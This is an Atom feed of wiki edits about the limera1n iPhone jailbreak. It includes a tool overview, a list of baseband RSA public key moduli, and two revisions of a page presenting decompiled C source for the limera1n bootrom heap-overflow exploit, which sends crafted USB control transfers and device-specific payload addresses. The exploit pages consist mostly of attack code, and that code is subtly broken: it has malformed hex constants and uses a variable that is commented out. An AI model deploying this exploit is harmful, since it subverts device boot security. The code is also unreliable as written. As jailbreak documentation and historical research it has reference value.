<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Paul0</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Paul0"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/Paul0"/>
	<updated>2026-05-01T18:58:09Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n&amp;diff=23380</id>
		<title>Limera1n</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n&amp;diff=23380"/>
		<updated>2012-01-03T21:13:49Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
[[Image:Ra1ndrop.png|right]]&lt;br /&gt;
This is [[User:Geohot|geohot]]'s [[jailbreak]] utility. It uses an undisclosed bootrom exploit and [[User:Comex|comex]]'s [[Packet Filter Kernel Exploit]] to achieve an [[untethered jailbreak]] on newer devices. The following devices are technically supported:&lt;br /&gt;
* [[n88ap|iPhone 3GS]]&lt;br /&gt;
* [[n90ap|iPhone 4]]&lt;br /&gt;
* [[n18ap|iPod touch 3G]]&lt;br /&gt;
* [[n81ap|iPod touch 4G]]&lt;br /&gt;
* [[k48ap|iPad]]&lt;br /&gt;
* [[k66ap|AppleTV 2G]] (creates a bare-bones jailbreak by mounting '/' as read/write in /etc/fstab)&lt;br /&gt;
limera1n has been demonstrated multiple times by [[User:Geohot|geohot]], using blog posts on his now private blog. [[User:Geohot|Geohot]] showed off a high-res picture of [http://1.bp.blogspot.com/_NJ4JFBfr1tY/TDgkAsTQEmI/AAAAAAAAAcw/ZNHDxMNNL4Y/s1600/iphone4.png Cydia on an iPhone 4]. He displayed an [http://www.youtube.com/watch?v=__TR86PLiHw iPod touch 3G with an untethered jailbreak] that met MuscleNerd's requirements for a good video. In addition, he took a picture of [http://4.bp.blogspot.com/_NJ4JFBfr1tY/S7_OvGMqJMI/AAAAAAAAAcE/R5WLrCizGw0/s1600/ipad_jb.jpg Cydia and blackra1n icons on an iPad].&lt;br /&gt;
&lt;br /&gt;
* '''Release Date:''' [[Timeline#October|October 9, 2010]]&lt;br /&gt;
* '''Supported OS's:''' Mac OS X, Windows&lt;br /&gt;
* '''Supported Operations:''' [[hacktivation]], [[jailbreak]]ing&lt;br /&gt;
* '''Supported iOS: 3.2.2-4.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Release text ==&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: center&amp;quot;&amp;gt;limera1n, 6 months in the making&amp;lt;br /&amp;gt;&lt;br /&gt;
iPhone 3GS, iPod Touch 3G, iPad, iPhone 4, iPod Touch 4G&amp;lt;br /&amp;gt;&lt;br /&gt;
4.0-4.1 and beyond+++&amp;lt;br /&amp;gt;&lt;br /&gt;
limera1n is unpatchable&amp;lt;br /&amp;gt;&lt;br /&gt;
untethered thanks to jailbreakme star '''comex'''&amp;lt;br /&amp;gt;&lt;br /&gt;
brought to you by '''geohot'''&amp;lt;br /&amp;gt;&lt;br /&gt;
hacktivates&amp;lt;br /&amp;gt;&lt;br /&gt;
Mac coming in 7 years&amp;lt;br /&amp;gt;&lt;br /&gt;
donations keep support alive&amp;lt;br /&amp;gt;&lt;br /&gt;
zero pictures of my face&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Credit ==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - The program itself, and the bootrom exploit.&lt;br /&gt;
* '''[[User:Comex|comex]]''' - The userland exploit that allows limera1n to run [[untethered jailbreak|untethered]].&lt;br /&gt;
&lt;br /&gt;
== Changelog ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;div style=&amp;quot;text-align: center&amp;quot;&amp;gt;'''Version'''&amp;lt;/div&amp;gt;&lt;br /&gt;
| &amp;lt;div style=&amp;quot;text-align: center&amp;quot;&amp;gt;'''Release time'''&amp;lt;/div&amp;gt;&lt;br /&gt;
| &amp;lt;div style=&amp;quot;text-align: center&amp;quot;&amp;gt;'''MD5 Hash'''&amp;lt;/div&amp;gt;&lt;br /&gt;
| &amp;lt;div style=&amp;quot;text-align: center&amp;quot;&amp;gt;'''Change comment'''&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| BETA 1&lt;br /&gt;
| 9 Oct 2010 XX:XX GMT&lt;br /&gt;
| 2f2b09a6ed5c5613d5361d8a9d0696b6&lt;br /&gt;
| First release.&lt;br /&gt;
|-&lt;br /&gt;
| BETA 2&lt;br /&gt;
| 10 Oct 2010 XX:XX GMT&lt;br /&gt;
| a70dccb3dfc0e505687424184dc3d1ce&lt;br /&gt;
| Fixed kernel patching magic. Rerun BETA2+ over BETA1.&lt;br /&gt;
|-&lt;br /&gt;
| BETA 3&lt;br /&gt;
| 10 Oct 2010 XX:XX GMT&lt;br /&gt;
| 81730090f7de1576268ee8c2407c3d35&lt;br /&gt;
| Fixed an issue with [[N88ap|iPhone 3GS]] ([[iBoot-359.3.2|new bootrom]])&lt;br /&gt;
|-&lt;br /&gt;
| BETA 4&lt;br /&gt;
| 10 Oct 2010 XX:XX GMT&lt;br /&gt;
| d901c4b3a544983f095b0d03eb94e4db&lt;br /&gt;
| Uninstall fixed, respring fixed&lt;br /&gt;
|-&lt;br /&gt;
| RC1&lt;br /&gt;
| 11 Oct 2010 XX:XX GMT&lt;br /&gt;
| 0622d99ffe4c25f75c720a689853845f&lt;br /&gt;
| out of beta! afc2, reliability improvements, no reboot for cydia, 2kb smaller&lt;br /&gt;
|-&lt;br /&gt;
| RC1b&lt;br /&gt;
| 11 Oct 2010 XX:XX GMT&lt;br /&gt;
| fc6f7d696a57c3baede49bdff8a7f43f&lt;br /&gt;
| addresses an install issue, mainly with iPads&lt;br /&gt;
|-&lt;br /&gt;
| Final&lt;br /&gt;
| 11 Oct 2010 23:XX GMT&lt;br /&gt;
| fc6f7d696a57c3baede49bdff8a7f43f&lt;br /&gt;
| (same as RC1b)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Technical Information ==&lt;br /&gt;
=== Basics ===&lt;br /&gt;
* limera1n has nothing to do with [[SHAtter]] at all.&lt;br /&gt;
* limera1n uses a [[bootrom]] exploit to achieve the [[tethered jailbreak]] and unsigned code execution.&lt;br /&gt;
* limera1n uses a [[userland]] exploit to make it [[untethered]], which was developed by [[User:Comex|comex]].&lt;br /&gt;
* limera1n uses a hacktivation dylib to perform [[hacktivation]].&lt;br /&gt;
&lt;br /&gt;
=== Exploits ===&lt;br /&gt;
limera1n reuses the [[Limera1n_Exploit|usb_control_msg(0x21,2)]] but exploits a different vulnerability.&lt;br /&gt;
=== Process ===&lt;br /&gt;
The jailbreak appears to execute something like the following (in no particular order):&lt;br /&gt;
* In recovery1,&lt;br /&gt;
 &amp;quot;setenv debug-uarts 1&lt;br /&gt;
 setenv auto-boot false&lt;br /&gt;
 saveenv&amp;quot;&lt;br /&gt;
* In [[DFU Mode]], it uploads a [[payload]].&lt;br /&gt;
* In recovery2, it uploads another [[payload]] and its [[ramdisk]].&lt;br /&gt;
 &amp;quot;setenv auto-boot true&lt;br /&gt;
  reset&lt;br /&gt;
  geohot done&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Interesting Messages ===&lt;br /&gt;
 &amp;quot;geohot black is the new purple&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;blackra1n start: %d current IRQ mask is %8.8X&lt;br /&gt;
 usb irq disabled...shhh&lt;br /&gt;
 fxns found @ %8.8X %8.8X&lt;br /&gt;
 found iBoot @ %8.8X&lt;br /&gt;
 i'm back from IRQland...&lt;br /&gt;
 3g detected, kicking nor&lt;br /&gt;
 nor kicked&lt;br /&gt;
 memcpy done&lt;br /&gt;
 iBoot restored!!!&lt;br /&gt;
 found command table @ %8.8X&lt;br /&gt;
 cmd_geohot added&lt;br /&gt;
 time to pray...%8.8X&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;2.2X  send command(%d): %s&lt;br /&gt;
 send exploit!!!&lt;br /&gt;
 sent data to copy: %X&lt;br /&gt;
  sent shellcode: %X has real length %X&lt;br /&gt;
 never freed: %X&lt;br /&gt;
 sent fake data to timeout: %X&lt;br /&gt;
  sent exploit to heap overflow: %X&lt;br /&gt;
  sending file with length: 0x%X Mingw runtime failure:&lt;br /&gt;
   VirtualQuery failed for %d bytes at address %p      Unknown pseudo relocation protocol version %d.&lt;br /&gt;
     Unknown pseudo relocation bit size %d.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Controversy ==&lt;br /&gt;
The release of this jailbreak was specifically designed to pressure [[Chronic Dev (team)]] into not releasing SHAtter, but to instead implement the limera1n exploit into [[Greenpois0n (jailbreak)|greenpois0n]]; after releasing limera1n, releasing [[SHAtter]] would uselessly disclose another bootrom exploit to Apple.&lt;br /&gt;
&lt;br /&gt;
[[User:Geohot|Geohot]]'s rationale is that Apple already discovered, through internal testing, the limera1n exploit, making it very likely that it will be fixed in the next bootrom revision. Because [[iBoot]] code is present both in the bootrom and firmware, and because firmware is refreshed much more often than bootrom code, any fix in this code branch would appear first in firmware. [[User:Geohot|Geohot]] observed his limera1n exploit was closed in firmware and concluded that it would almost certainly be fixed in the next bootrom revision, whereas [[SHAtter]] still has a chance of remaining useful for an indefinite amount of time. In the [[iPad 2]], the exploit is indeed fixed, and the limera1n exploit is not present. It was fixed before the release of limera1n according to the build number. This has been confirmed by [[User:posixninja|p0sixninja]].&lt;br /&gt;
&lt;br /&gt;
limera1n's [[Untethered jailbreak|untethered]] userland exploit for iOS 4.0 and 4.1 was obtained by [[User:Geohot|geohot]] under questionable circumstances from [[User:Comex|comex]]. [[User:Comex|Comex]] did end up fixing the kernel patching code by beta2, so as to not break users' devices.&lt;br /&gt;
&lt;br /&gt;
== Hacktivation ==&lt;br /&gt;
limera1n will copy hacktivation.dylib to [[:/usr/lib]] and change entries to com.apple.mobile.lockdown.plist, whether it has been activated using iTunes or not. This, while helpful to many, can also be harmful to legitimate activators. For a guide on how to remove this hacktivation on iTunes activated devices, see the link below.&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [http://limera1n.com/ Official domain] &lt;br /&gt;
* [http://theiphonewiki.com/limera1n The iPhone Wiki Mirror]&lt;br /&gt;
* [http://www.mediafire.com/?5sovoo41rbcdspw Limera1n RC Beta2 Dump on Mediafire provided by iH8sn0w.]&lt;br /&gt;
* [http://www.pastie.org/1210054 Veeence's explanation for release]&lt;br /&gt;
* [http://www.cmdshft.ipwn.me/blog/?p=555 Hacktivation removal guide.]&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=23340</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=23340"/>
		<updated>2012-01-02T20:19:19Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88ap|iPhone 3GS]], [[N18ap|iPod touch 3G]], [[N81ap|iPod touch 4G]], [[K48ap|iPad]], [[N90ap|iPhone 4 GSM]], [[N92ap|iPhone 4 CDMA]], and the [[K66ap|Apple TV 2G]]. It was first used in the [[limera1n]] tool by [[User:geohot|geohot]]. It is actively used on all the supported devices to perform a jailbreak on current versions of [[iOS]], which is [[tethered jailbreak|tethered]] unless there is another exploit available to &amp;quot;[[untethered jailbreak|untether]]&amp;quot; the jailbreak, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]].&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
    signed int __cdecl upload_exploit() {&lt;br /&gt;
        int device_type;           &lt;br /&gt;
        signed int payload_address;&lt;br /&gt;
        int free_address;          &lt;br /&gt;
        int deviceerror;           &lt;br /&gt;
        char *chunk_headers_ptr;   &lt;br /&gt;
        unsigned int sent_counter; &lt;br /&gt;
        //int v6;            &lt;br /&gt;
        signed int result; &lt;br /&gt;
        //signed int v8;     &lt;br /&gt;
        int recv_error_code;            &lt;br /&gt;
        signed int payload_address2;  &lt;br /&gt;
        signed int padding_size;    &lt;br /&gt;
        char payload;      &lt;br /&gt;
        char chunk_headers;&lt;br /&gt;
        /*int v14;           &lt;br /&gt;
        v14 = *MK_FP(__GS__, 20); */&lt;br /&gt;
        device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
        &lt;br /&gt;
        if ( device_type == 8930 ) {&lt;br /&gt;
            padding_size = 0x2A800;&lt;br /&gt;
            payload_address = 0x8402B001;&lt;br /&gt;
            free_address = 0x8403BF9C;&lt;br /&gt;
        } else {&lt;br /&gt;
            payload_address = 0x84023001;&lt;br /&gt;
            padding_size = 0x22800;&lt;br /&gt;
    		// free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
    		if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
    		   else free_address = 84033F98;&lt;br /&gt;
    		&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        memset(&amp;amp;payload, 0, 0×800);&lt;br /&gt;
        memcpy(&amp;amp;payload, exploit, 0×230);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug) {&lt;br /&gt;
            //v8 = payload_address;&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
            //payload_address = v8;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        payload_address2 = payload_address;&lt;br /&gt;
        deviceerror = irecv_reset_counters(client);&lt;br /&gt;
        &lt;br /&gt;
        if ( deviceerror ) {&lt;br /&gt;
            irecv_strerror(deviceerror);&lt;br /&gt;
            fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
            result = -1;&lt;br /&gt;
        } else {&lt;br /&gt;
            memset(&amp;amp;chunk_headers, 0xCC, 0×800);&lt;br /&gt;
            chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
            &lt;br /&gt;
            do {&lt;br /&gt;
                *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
                *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
                *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
                *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
                chunk_headers_ptr += 64;&lt;br /&gt;
            } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
            &lt;br /&gt;
            if (libpois0n_debug)&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
            &lt;br /&gt;
            sent_counter = 0;&lt;br /&gt;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
            memset(&amp;amp;chunk_headers, 0xCC, 0×800);&lt;br /&gt;
            &lt;br /&gt;
            do {&lt;br /&gt;
                sent_counter += 0x800;&lt;br /&gt;
                irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
            } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
            &lt;br /&gt;
            if (libpois0n_debug)&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
            &lt;br /&gt;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
            &lt;br /&gt;
            if (libpois0n_debug)&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
            &lt;br /&gt;
            memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
            irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
                &lt;br /&gt;
            if (libpois0n_debug)&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
            irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
            irecv_reset(client);&lt;br /&gt;
            irecv_finish_transfer(client);&lt;br /&gt;
            &lt;br /&gt;
            if (libpois0n_debug) {&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
                if (libpois0n_debug)&lt;br /&gt;
                    fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            &lt;br /&gt;
            client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
            &lt;br /&gt;
            if (client) {&lt;br /&gt;
                result = 0;&lt;br /&gt;
            } else {&lt;br /&gt;
                if (libpois0n_debug) {&lt;br /&gt;
                    recv_error_code = irecv_strerror(0);&lt;br /&gt;
                    fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
                }&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
                result = -1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    	&lt;br /&gt;
        /* compiler stack check&lt;br /&gt;
        if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
            __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
        */&lt;br /&gt;
        return result;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=23339</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=23339"/>
		<updated>2012-01-02T20:14:09Z</updated>

		<summary type="html">&lt;p&gt;Paul0: made code more readable&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88ap|iPhone 3GS]], [[N18ap|iPod touch 3G]], [[N81ap|iPod touch 4G]], [[K48ap|iPad]], [[N90ap|iPhone 4 GSM]], [[N92ap|iPhone 4 CDMA]], and the [[K66ap|Apple TV 2G]]. It was first used in the [[limera1n]] tool by [[User:geohot|geohot]]. It is actively used on all the supported devices to perform a jailbreak on current versions of [[iOS]], which is [[tethered jailbreak|tethered]] unless there is another exploit available to &amp;quot;[[untethered jailbreak|untether]]&amp;quot; the jailbreak, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]].&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
signed int __cdecl upload_exploit() {&lt;br /&gt;
    int device_type;           &lt;br /&gt;
    signed int payload_address;&lt;br /&gt;
    int free_address;          &lt;br /&gt;
    int deviceerror;           &lt;br /&gt;
    char *chunk_headers_ptr;   &lt;br /&gt;
    unsigned int sent_counter; &lt;br /&gt;
    //int v6;            &lt;br /&gt;
    signed int result; &lt;br /&gt;
    //signed int v8;     &lt;br /&gt;
    int recv_error_code;            &lt;br /&gt;
    signed int payload_address2;  &lt;br /&gt;
    signed int padding_size;    &lt;br /&gt;
    char payload;      &lt;br /&gt;
    char chunk_headers;&lt;br /&gt;
/*  int v14;           &lt;br /&gt;
    v14 = *MK_FP(__GS__, 20); */&lt;br /&gt;
    device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
    &lt;br /&gt;
    if ( device_type == 8930 ) {&lt;br /&gt;
        padding_size = 0x2A800;&lt;br /&gt;
        payload_address = 0x8402B001;&lt;br /&gt;
        free_address = 0x8403BF9C;&lt;br /&gt;
    } else {&lt;br /&gt;
        payload_address = 0x84023001;&lt;br /&gt;
        padding_size = 0x22800;&lt;br /&gt;
		// free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
		if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
		   else free_address = 84033F98;&lt;br /&gt;
		&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    memset(&amp;amp;payload, 0, 0×800);&lt;br /&gt;
    memcpy(&amp;amp;payload, exploit, 0×230);&lt;br /&gt;
    &lt;br /&gt;
    if (libpois0n_debug) {&lt;br /&gt;
        //v8 = payload_address;&lt;br /&gt;
        fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
        //payload_address = v8;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    payload_address2 = payload_address;&lt;br /&gt;
    deviceerror = irecv_reset_counters(client);&lt;br /&gt;
    &lt;br /&gt;
    if ( deviceerror ) {&lt;br /&gt;
        irecv_strerror(deviceerror);&lt;br /&gt;
        fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
        result = -1;&lt;br /&gt;
    } else {&lt;br /&gt;
        memset(&amp;amp;chunk_headers, 0xCC, 0×800);&lt;br /&gt;
        chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
        &lt;br /&gt;
        do {&lt;br /&gt;
            *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
            *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
            *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
            *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
            chunk_headers_ptr += 64;&lt;br /&gt;
        } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug)&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
        sent_counter = 0;&lt;br /&gt;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
        memset(&amp;amp;chunk_headers, 0xCC, 0×800);&lt;br /&gt;
        &lt;br /&gt;
        do {&lt;br /&gt;
            sent_counter += 0x800;&lt;br /&gt;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
        } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug)&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug)&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
        memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
        irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug)&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
        &lt;br /&gt;
        irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
        irecv_reset(client);&lt;br /&gt;
        irecv_finish_transfer(client);&lt;br /&gt;
        &lt;br /&gt;
        if (libpois0n_debug) {&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
            if (libpois0n_debug)&lt;br /&gt;
                fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
        &lt;br /&gt;
        if (client) {&lt;br /&gt;
            result = 0;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (libpois0n_debug) {&lt;br /&gt;
                recv_error_code = irecv_strerror(0);&lt;br /&gt;
                fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
            }&lt;br /&gt;
            fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
            result = -1;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
	&lt;br /&gt;
	/* compiler stack check&lt;br /&gt;
    if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
        __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
    */&lt;br /&gt;
    return result;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>Paul0</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16840</id>
		<title>Baseband RSA Keys</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Baseband_RSA_Keys&amp;diff=16840"/>
		<updated>2011-03-15T17:46:28Z</updated>

		<summary type="html">&lt;p&gt;Paul0: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are the keys shared between the [[S-Gold 2]] and the [[X-Gold 608]]&lt;br /&gt;
&lt;br /&gt;
==Key 1==&lt;br /&gt;
This is used to validate the NCK token and decrypt secpack certificates.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 0B 23 AE BA E3 75 7B 9D CE 44 58 8C CF 53 CC B0&lt;br /&gt;
 73 F9 06 57 64 37 A0 6C 68 F4 91 4E 7A 82 CB 6E&lt;br /&gt;
 12 CF FD 31 39 51 4C 06 C0 E9 CE A0 27 17 D6 95&lt;br /&gt;
 FB DF 94 26 B2 1C C1 73 24 06 E3 A8 C2 0F 5D A3&lt;br /&gt;
 41 6B D8 84 CB D0 EB 2E F9 DE 2F 21 78 DA C3 4D&lt;br /&gt;
 AF B9 BA D8 4B 7C 16 E2 CF 16 7A 1B 57 33 4F 26&lt;br /&gt;
 4D 53 26 FD 8E 38 B6 23 CE 5E B4 81 80 2B C0 FB&lt;br /&gt;
 9F 33 E1 3F 65 A2 49 C9 3F 08 6C 37 61 4B B7 C7&lt;br /&gt;
&lt;br /&gt;
==Key 2==&lt;br /&gt;
This is used to sign Key 3 in the [[WildcardTicket|wildcard ticket]] that is part of the [[activation token]].&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 05 BC 9F 4E 87 0C F9 A2 D8 DA 19 D8 14 82 B2 54&lt;br /&gt;
 3F 32 4D 08 0B AE 22 01 86 43 A1 0E 18 7A D1 F2&lt;br /&gt;
 4F CB 34 C6 10 C2 72 DB E3 B5 29 79 B2 80 34 E1&lt;br /&gt;
 4F A4 27 85 C5 04 57 4A 37 88 AD 9A 6B 57 C5 E0&lt;br /&gt;
 4F E5 89 80 1E ED AC 72 78 B1 73 05 FC 5E D1 3D&lt;br /&gt;
 46 9F 66 C4 B5 B4 4B 9E 87 8C 2E 3C BD 0C 15 AA&lt;br /&gt;
 D1 D5 57 71 00 D6 10 F7 96 E2 CF AC 60 53 57 C7&lt;br /&gt;
 65 AD 1D CB BC 5F 49 FD B5 ED EA B3 21 30 66 EA&lt;br /&gt;
&lt;br /&gt;
==Key 3 (not semiprime?)==&lt;br /&gt;
This is used for signing in the [[WildcardTicket|wildcard ticket]]. The serial number is 1.&lt;br /&gt;
&lt;br /&gt;
Modulus length 0x400 bits, Exponent 0x3&lt;br /&gt;
 4b 52 5a e7 09 fd 94 14 3f d9 6e c6 88 c8 ce cc &lt;br /&gt;
 6e b7 43 89 05 d9 b2 8b a5 58 3d b4 cc 19 c3 31 &lt;br /&gt;
 ff 09 e7 11 2e 26 be b4 76 62 20 82 76 ed 96 d5 &lt;br /&gt;
 22 77 10 b7 6d ef 09 64 fb 2c cc b8 d1 5b 68 5d &lt;br /&gt;
 61 15 64 a3 32 df 3d 6c 7d 8e 2c 04 e0 9f 6d 15 &lt;br /&gt;
 9e 5e 9a 68 c2 d6 67 c8 fd 65 03 c3 ab 49 b8 4b &lt;br /&gt;
 94 f5 c4 ca 53 91 4b 9d 7b be 68 2b 92 95 56 68 &lt;br /&gt;
 fa 89 8e 3a 17 38 76 77 df 0f 90 b0 a0 46 1c f3 &lt;br /&gt;
